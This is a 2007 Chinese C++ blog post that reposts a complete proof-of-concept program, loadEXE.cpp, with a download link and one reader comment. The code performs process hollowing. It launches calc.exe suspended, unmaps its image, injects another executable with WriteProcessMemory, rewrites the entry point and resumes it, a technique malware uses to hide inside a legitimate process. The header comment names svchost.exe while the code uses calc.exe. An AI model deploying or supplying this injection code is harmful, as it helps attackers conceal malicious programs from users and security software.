Xiao.Zhu C++

Xiao.Zhu C++

  C++博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理 ::
  29 随笔 :: 14 文章 :: 17 评论 :: 0 Trackbacks

 

  1
  2//******************************************************************************************************* 
  3// loadEXE.cpp : Defines the entry point for the console application. 
  4// 
  5// Proof-Of-Concept Code 
  6// Copyright (c) 2004 
  7// All rights reserved. 
  8// 
  9// Permission is hereby granted, free of charge, to any person obtaining a 
 10// copy of this software and associated documentation files (the 
 11// "Software"), to deal in the Software without restriction, including 
 12// without limitation the rights to use, copy, modify, merge, publish, 
 13// distribute, and/or sell copies of the Software, and to permit persons 
 14// to whom the Software is furnished to do so, provided that the above 
 15// copyright notice(s) and this permission notice appear in all copies of 
 16// the Software and that both the above copyright notice(s) and this 
 17// permission notice appear in supporting documentation. 
 18// 
 19// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 
 20// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 
 21// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT 
 22// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR 
 23// HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL 
 24// INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING 
 25// FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, 
 26// NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION 
 27// WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 
 28// 
 29// Usage: 
 30// loadEXE <EXE filename> 
 31// 
 32// This will execute calc.exe in suspended mode and replace its image with 
 33// the new EXE's image.  The thread is then resumed, thus causing the new EXE to 
 34// execute within the process space of svchost.exe. 
 35// 
 36//******************************************************************************************************* 
 37
 38#include <stdio.h> 
 39#include <windows.h> 
 40#include <tlhelp32.h> 
 41#include <psapi.h> 
 42
 43struct PE_Header 
 44
 45    unsigned long signature; 
 46    unsigned short machine; 
 47    unsigned short numSections; 
 48    unsigned long timeDateStamp; 
 49    unsigned long pointerToSymbolTable; 
 50    unsigned long numOfSymbols; 
 51    unsigned short sizeOfOptionHeader; 
 52    unsigned short characteristics; 
 53}

 54
 55struct PE_ExtHeader 
 56
 57    unsigned short magic; 
 58    unsigned char majorLinkerVersion; 
 59    unsigned char minorLinkerVersion; 
 60    unsigned long sizeOfCode; 
 61    unsigned long sizeOfInitializedData; 
 62    unsigned long sizeOfUninitializedData; 
 63    unsigned long addressOfEntryPoint; 
 64    unsigned long baseOfCode; 
 65    unsigned long baseOfData; 
 66    unsigned long imageBase; 
 67    unsigned long sectionAlignment; 
 68    unsigned long fileAlignment; 
 69    unsigned short majorOSVersion; 
 70    unsigned short minorOSVersion; 
 71    unsigned short majorImageVersion; 
 72    unsigned short minorImageVersion; 
 73    unsigned short majorSubsystemVersion; 
 74    unsigned short minorSubsystemVersion; 
 75    unsigned long reserved1; 
 76    unsigned long sizeOfImage; 
 77    unsigned long sizeOfHeaders; 
 78    unsigned long checksum; 
 79    unsigned short subsystem; 
 80    unsigned short DLLCharacteristics; 
 81    unsigned long sizeOfStackReserve; 
 82    unsigned long sizeOfStackCommit; 
 83    unsigned long sizeOfHeapReserve; 
 84    unsigned long sizeOfHeapCommit; 
 85    unsigned long loaderFlags; 
 86    unsigned long numberOfRVAAndSizes; 
 87    unsigned long exportTableAddress; 
 88    unsigned long exportTableSize; 
 89    unsigned long importTableAddress; 
 90    unsigned long importTableSize; 
 91    unsigned long resourceTableAddress; 
 92    unsigned long resourceTableSize; 
 93    unsigned long exceptionTableAddress; 
 94    unsigned long exceptionTableSize; 
 95    unsigned long certFilePointer; 
 96    unsigned long certTableSize; 
 97    unsigned long relocationTableAddress; 
 98    unsigned long relocationTableSize; 
 99    unsigned long debugDataAddress; 
100    unsigned long debugDataSize; 
101    unsigned long archDataAddress; 
102    unsigned long archDataSize; 
103    unsigned long globalPtrAddress; 
104    unsigned long globalPtrSize; 
105    unsigned long TLSTableAddress; 
106    unsigned long TLSTableSize; 
107    unsigned long loadConfigTableAddress; 
108    unsigned long loadConfigTableSize; 
109    unsigned long boundImportTableAddress; 
110    unsigned long boundImportTableSize; 
111    unsigned long importAddressTableAddress; 
112    unsigned long importAddressTableSize; 
113    unsigned long delayImportDescAddress; 
114    unsigned long delayImportDescSize; 
115    unsigned long COMHeaderAddress; 
116    unsigned long COMHeaderSize; 
117    unsigned long reserved2; 
118    unsigned long reserved3; 
119}

120
121
122struct SectionHeader 
123
124    unsigned char sectionName[8]; 
125    unsigned long virtualSize; 
126    unsigned long virtualAddress; 
127    unsigned long sizeOfRawData; 
128    unsigned long pointerToRawData; 
129    unsigned long pointerToRelocations; 
130    unsigned long pointerToLineNumbers; 
131    unsigned short numberOfRelocations; 
132    unsigned short numberOfLineNumbers; 
133    unsigned long characteristics; 
134}

135
136struct MZHeader 
137
138    unsigned short signature; 
139    unsigned short partPag; 
140    unsigned short pageCnt; 
141    unsigned short reloCnt; 
142    unsigned short hdrSize; 
143    unsigned short minMem; 
144    unsigned short maxMem; 
145    unsigned short reloSS; 
146    unsigned short exeSP; 
147    unsigned short chksum; 
148    unsigned short exeIP; 
149    unsigned short reloCS; 
150    unsigned short tablOff; 
151    unsigned short overlay; 
152    unsigned char reserved[32]; 
153    unsigned long offsetToPE; 
154}

155
156
157struct ImportDirEntry 
158
159    DWORD importLookupTable; 
160    DWORD timeDateStamp; 
161    DWORD fowarderChain; 
162    DWORD nameRVA; 
163    DWORD importAddressTable; 
164}

165
166
167//********************************************************************************************************** 
168// 
169// This function reads the MZ, PE, PE extended and Section Headers from an EXE file. 
170// 
171//********************************************************************************************************** 
172
173bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH, 
174                SectionHeader **outSecHdr) 
175
176    fseek(fp, 0, SEEK_END); 
177    long fileSize = ftell(fp); 
178    fseek(fp, 0, SEEK_SET); 
179
180    if(fileSize < sizeof(MZHeader)) 
181    
182        printf("File size too small\n");         
183        return false
184    }
 
185
186    // read MZ Header 
187    MZHeader mzH; 
188    fread(&mzH, sizeof(MZHeader), 1, fp); 
189
190    if(mzH.signature != 0x5a4d)        // MZ 
191    
192        printf("File does not have MZ header\n"); 
193        return false
194    }
 
195
196    //printf("Offset to PE Header = %X\n", mzH.offsetToPE); 
197
198    if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header)) 
199    
200        printf("File size too small\n");         
201        return false
202    }
 
203
204    // read PE Header 
205    fseek(fp, mzH.offsetToPE, SEEK_SET); 
206    PE_Header peH; 
207    fread(&peH, sizeof(PE_Header), 1, fp); 
208
209    //printf("Size of option header = %d\n", peH.sizeOfOptionHeader); 
210    //printf("Number of sections = %d\n", peH.numSections); 
211
212    if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader)) 
213    
214        printf("Unexpected option header size.\n"); 
215         
216        return false
217    }
 
218
219    // read PE Ext Header 
220    PE_ExtHeader peXH; 
221
222    fread(&peXH, sizeof(PE_ExtHeader), 1, fp); 
223
224    //printf("Import table address = %X\n", peXH.importTableAddress); 
225    //printf("Import table size = %X\n", peXH.importTableSize); 
226    //printf("Import address table address = %X\n", peXH.importAddressTableAddress); 
227    //printf("Import address table size = %X\n", peXH.importAddressTableSize); 
228
229
230    // read the sections 
231    SectionHeader *secHdr = new SectionHeader[peH.numSections]; 
232
233    fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp); 
234
235    *outMZ = mzH; 
236    *outPE = peH; 
237    *outpeXH = peXH; 
238    *outSecHdr = secHdr; 
239
240    return true
241}
 
242
243
244//********************************************************************************************************** 
245// 
246// This function calculates the size required to load an EXE into memory with proper alignment. 
247// 
248//********************************************************************************************************** 
249
250int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, 
251                       SectionHeader *inSecHdr) 
252
253    int result = 0
254    int alignment = inpeXH->sectionAlignment; 
255
256    if(inpeXH->sizeOfHeaders % alignment == 0
257        result += inpeXH->sizeOfHeaders; 
258    else 
259    
260        int val = inpeXH->sizeOfHeaders / alignment; 
261        val++
262        result += (val * alignment); 
263    }
 
264
265
266    for(int i = 0; i < inPE->numSections; i++
267    
268        if(inSecHdr[i].virtualSize) 
269        
270            if(inSecHdr[i].virtualSize % alignment == 0
271                result += inSecHdr[i].virtualSize; 
272            else 
273            
274                int val = inSecHdr[i].virtualSize / alignment; 
275                val++
276                result += (val * alignment); 
277            }
 
278        }
 
279    }
 
280
281    return result; 
282}
 
283
284
285//********************************************************************************************************** 
286// 
287// This function calculates the aligned size of a section 
288// 
289//********************************************************************************************************** 
290
291unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment) 
292{     
293    if(curSize % alignment == 0
294        return curSize; 
295    else 
296    
297        int val = curSize / alignment; 
298        val++
299        return (val * alignment); 
300    }
 
301}
 
302
303
304//********************************************************************************************************** 
305// 
306// This function loads a PE file into memory with proper alignment. 
307// Enough memory must be allocated at ptrLoc. 
308// 
309//********************************************************************************************************** 
310
311bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, 
312            SectionHeader *inSecHdr, LPVOID ptrLoc) 
313
314    char *outPtr = (char *)ptrLoc; 
315
316    fseek(fp, 0, SEEK_SET); 
317    unsigned long headerSize = inpeXH->sizeOfHeaders; 
318
319    // certain PE files have sectionHeaderSize value > size of PE file itself.   
320    // this loop handles this situation by find the section that is nearest to the 
321    // PE header. 
322
323    for(int i = 0; i < inPE->numSections; i++
324    
325        if(inSecHdr[i].pointerToRawData < headerSize) 
326            headerSize = inSecHdr[i].pointerToRawData; 
327    }
 
328
329    // read the PE header 
330    unsigned long readSize = fread(outPtr, 1, headerSize, fp); 
331    //printf("HeaderSize = %d\n", headerSize); 
332    if(readSize != headerSize) 
333    
334        printf("Error reading headers (%d %d)\n", readSize, headerSize); 
335        return false;         
336    }
 
337
338    outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment); 
339
340    // read the sections 
341    for(i = 0; i < inPE->numSections; i++
342    
343        if(inSecHdr[i].sizeOfRawData > 0
344        
345            unsigned long toRead = inSecHdr[i].sizeOfRawData; 
346            if(toRead > inSecHdr[i].virtualSize) 
347                toRead = inSecHdr[i].virtualSize; 
348
349            fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET); 
350            readSize = fread(outPtr, 1, toRead, fp); 
351
352            if(readSize != toRead) 
353            
354                printf("Error reading section %d\n", i); 
355                return false
356            }
 
357            outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); 
358        }
 
359        else 
360        
361            // this handles the case where the PE file has an empty section. E.g. UPX0 section 
362            // in UPXed files. 
363
364            if(inSecHdr[i].virtualSize) 
365                outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); 
366        }
 
367    }
 
368
369    return true
370}
 
371
372
373struct FixupBlock 
374
375    unsigned long pageRVA; 
376    unsigned long blockSize; 
377}

378
379
380//********************************************************************************************************** 
381// 
382// This function loads a PE file into memory with proper alignment. 
383// Enough memory must be allocated at ptrLoc. 
384// 
385//********************************************************************************************************** 
386
387void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, 
388                  SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase) 
389
390    if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) 
391    
392        FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress); 
393        long delta = newBase - inpeXH->imageBase; 
394
395        while(fixBlk->blockSize) 
396        
397            //printf("Addr = %X\n", fixBlk->pageRVA); 
398            //printf("Size = %X\n", fixBlk->blockSize); 
399
400            int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1
401            //printf("Num Entries = %d\n", numEntries); 
402
403            unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1); 
404
405            for(int i = 0; i < numEntries; i++
406            
407                DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF)); 
408                 
409                int relocType = (*offsetPtr & 0xF000>> 12
410                 
411                //printf("Val = %X\n", *offsetPtr); 
412                //printf("Type = %X\n", relocType); 
413
414                if(relocType == 3
415                    *codeLoc = ((DWORD)*codeLoc) + delta; 
416                else 
417                
418                    printf("Unknown relocation type = %d\n", relocType); 
419                }
 
420                offsetPtr++
421            }
 
422
423            fixBlk = (FixupBlock *)offsetPtr; 
424        }
 
425    }
     
426}
 
427
428
429#define TARGETPROC "calc.exe" 
430
431typedef struct _PROCINFO 
432
433    DWORD baseAddr; 
434    DWORD imageSize; 
435}
 PROCINFO; 
436
437
438
439//********************************************************************************************************** 
440// 
441// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure. 
442// 
443//********************************************************************************************************** 
444
445
446BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo) 
447
448    STARTUPINFO si = {0}
449
450    if(CreateProcess(NULL, TARGETPROC, 
451                     NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))         
452    
453        ctx->ContextFlags=CONTEXT_FULL; 
454        GetThreadContext(pi->hThread, ctx); 
455
456        DWORD *pebInfo = (DWORD *)ctx->Ebx; 
457        DWORD read; 
458        ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read); 
459     
460        DWORD curAddr = outChildProcInfo->baseAddr; 
461        MEMORY_BASIC_INFORMATION memInfo; 
462        while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo))) 
463        
464            if(memInfo.State == MEM_FREE) 
465                break
466            curAddr += memInfo.RegionSize; 
467        }
 
468        outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr; 
469
470        return TRUE; 
471    }
 
472    return FALSE; 
473}
 
474
475
476//********************************************************************************************************** 
477// 
478// Returns true if the PE file has a relocation table 
479// 
480//********************************************************************************************************** 
481
482BOOL hasRelocationTable(PE_ExtHeader *inpeXH) 
483
484    if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) 
485    
486        return TRUE; 
487    }
 
488    return FALSE; 
489}
 
490
491
492typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress); 
493
494
495//********************************************************************************************************** 
496// 
497// To replace the original EXE with another one we do the following. 
498// 1) Create the original EXE process in suspended mode. 
499// 2) Unmap the image of the original EXE. 
500// 3) Allocate memory at the baseaddress of the new EXE. 
501// 4) Load the new EXE image into the allocated memory.   
502// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended 
503//    thread. 
504// 
505// When the original EXE process is created in suspend mode, GetThreadContext returns these useful 
506// register values. 
507// EAX - process entry point 
508// EBX - points to PEB 
509// 
510// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the 
511// new EXE. 
512// 
513//********************************************************************************************************** 
514
515void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, 
516            SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize) 
517
518    STARTUPINFO si = {0}
519    PROCESS_INFORMATION pi; 
520    CONTEXT ctx; 
521    PROCINFO childInfo; 
522     
523    if(createChild(&pi, &ctx, &childInfo)) 
524    {         
525        printf("Original EXE loaded (PID = %d).\n", pi.dwProcessId); 
526        printf("Original Base Addr = %X, Size = %X\n", childInfo.baseAddr, childInfo.imageSize); 
527         
528        LPVOID v = (LPVOID)NULL; 
529         
530        if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize) 
531        
532            // if new EXE has same baseaddr and is its size is <= to the original EXE, just 
533            // overwrite it in memory 
534            v = (LPVOID)childInfo.baseAddr; 
535            DWORD oldProtect; 
536            VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);             
537             
538            printf("Using Existing Mem for New EXE at %X\n", (unsigned long)v); 
539        }
 
540        else 
541        
542            // get address of ZwUnmapViewOfSection 
543            PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); 
544
545            // try to unmap the original EXE image 
546            if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0
547            
548                // allocate memory for the new EXE image at the prefered imagebase. 
549                v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
550                if(v) 
551                    printf("Unmapped and Allocated Mem for New EXE at %X\n", (unsigned long)v); 
552            }
 
553        }
 
554
555        if(!&& hasRelocationTable(inpeXH)) 
556        
557            // if unmap failed but EXE is relocatable, then we try to load the EXE at another 
558            // location 
559            v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
560            if(v) 
561            
562                printf("Allocated Mem for New EXE at %X. EXE will be relocated.\n", (unsigned long)v); 
563
564                // we've got to do the relocation ourself if we load the image at another 
565                // memory location                 
566                doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v); 
567            }
 
568        }
 
569
570        printf("EIP = %X\n", ctx.Eip); 
571        printf("EAX = %X\n", ctx.Eax); 
572        printf("EBX = %X\n", ctx.Ebx);        // EBX points to PEB 
573        printf("ECX = %X\n", ctx.Ecx); 
574        printf("EDX = %X\n", ctx.Edx); 
575         
576        if(v) 
577        {             
578            printf("New EXE Image Size = %X\n", imageSize); 
579             
580            // patch the EXE base addr in PEB (PEB + 8 holds process base addr) 
581            DWORD *pebInfo = (DWORD *)ctx.Ebx; 
582            DWORD wrote;                         
583            WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote); 
584
585            // patch the base addr in the PE header of the EXE that we load ourselves 
586            PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc); 
587            peXH->imageBase = (DWORD)v; 
588             
589            if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL)) 
590            {     
591                printf("New EXE image injected into process.\n"); 
592
593                ctx.ContextFlags=CONTEXT_FULL;                 
594                //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc); 
595                 
596                if((DWORD)v == childInfo.baseAddr) 
597                
598                    ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;        // eax holds new entry point 
599                }
 
600                else 
601                
602                    // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was 
603                    // performed. 
604                    ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;        // eax holds new entry point 
605                }
 
606
607                printf("********> EIP = %X\n", ctx.Eip); 
608                printf("********> EAX = %X\n", ctx.Eax); 
609
610                SetThreadContext(pi.hThread,&ctx); 
611
612                ResumeThread(pi.hThread); 
613                printf("Process resumed (PID = %d).\n", pi.dwProcessId); 
614            }
 
615            else 
616            
617                printf("WriteProcessMemory failed\n"); 
618                TerminateProcess(pi.hProcess, 0); 
619            }
 
620        }
 
621        else 
622        
623            printf("Load failed.  Consider making this EXE relocatable.\n"); 
624            TerminateProcess(pi.hProcess, 0); 
625        }
 
626    }
 
627    else 
628    
629        printf("Cannot load %s\n", TARGETPROC); 
630    }
 
631}
 
632
633
634
635
636int main(int argc, char* argv[]) 
637
638    if(argc != 2
639    
640        printf("\nUsage: %s <EXE filename>\n", argv[0]); 
641        return 1
642    }
 
643
644    FILE *fp = fopen(argv[1], "rb"); 
645    if(fp) 
646    
647        MZHeader mzH; 
648        PE_Header peH; 
649        PE_ExtHeader peXH; 
650        SectionHeader *secHdr; 
651
652        if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr)) 
653        
654            int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr); 
655            //printf("Image Size = %X\n", imageSize); 
656
657            LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
658            if(ptrLoc) 
659            
660                //printf("Memory allocated at %X\n", ptrLoc); 
661                loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                                                 
662                 
663                doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);                                 
664            }
 
665            else 
666                printf("Allocation failed\n"); 
667        }
 
668
669        fclose(fp); 
670    }
 
671    else 
672        printf("\nCannot open the EXE file!\n"); 
673
674    return 0
675}

676 
677
/Files/zzh/loadEXE.zip
posted on 2007-08-08 16:23 Xiao.Zhu 阅读(872) 评论(1)  编辑 收藏 引用

评论

# re: 将进程变成一个线程执行代码 2012-11-09 09:15 小yun哥
将进程变成线程有何实际意义,进程是线程的容器,真正干活的都是线程,只是线程不享受独立的内存单元,难道就是为了利用多线程共享内存来节省下这点空间。  回复  更多评论
  


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   博问   Chat2DB   管理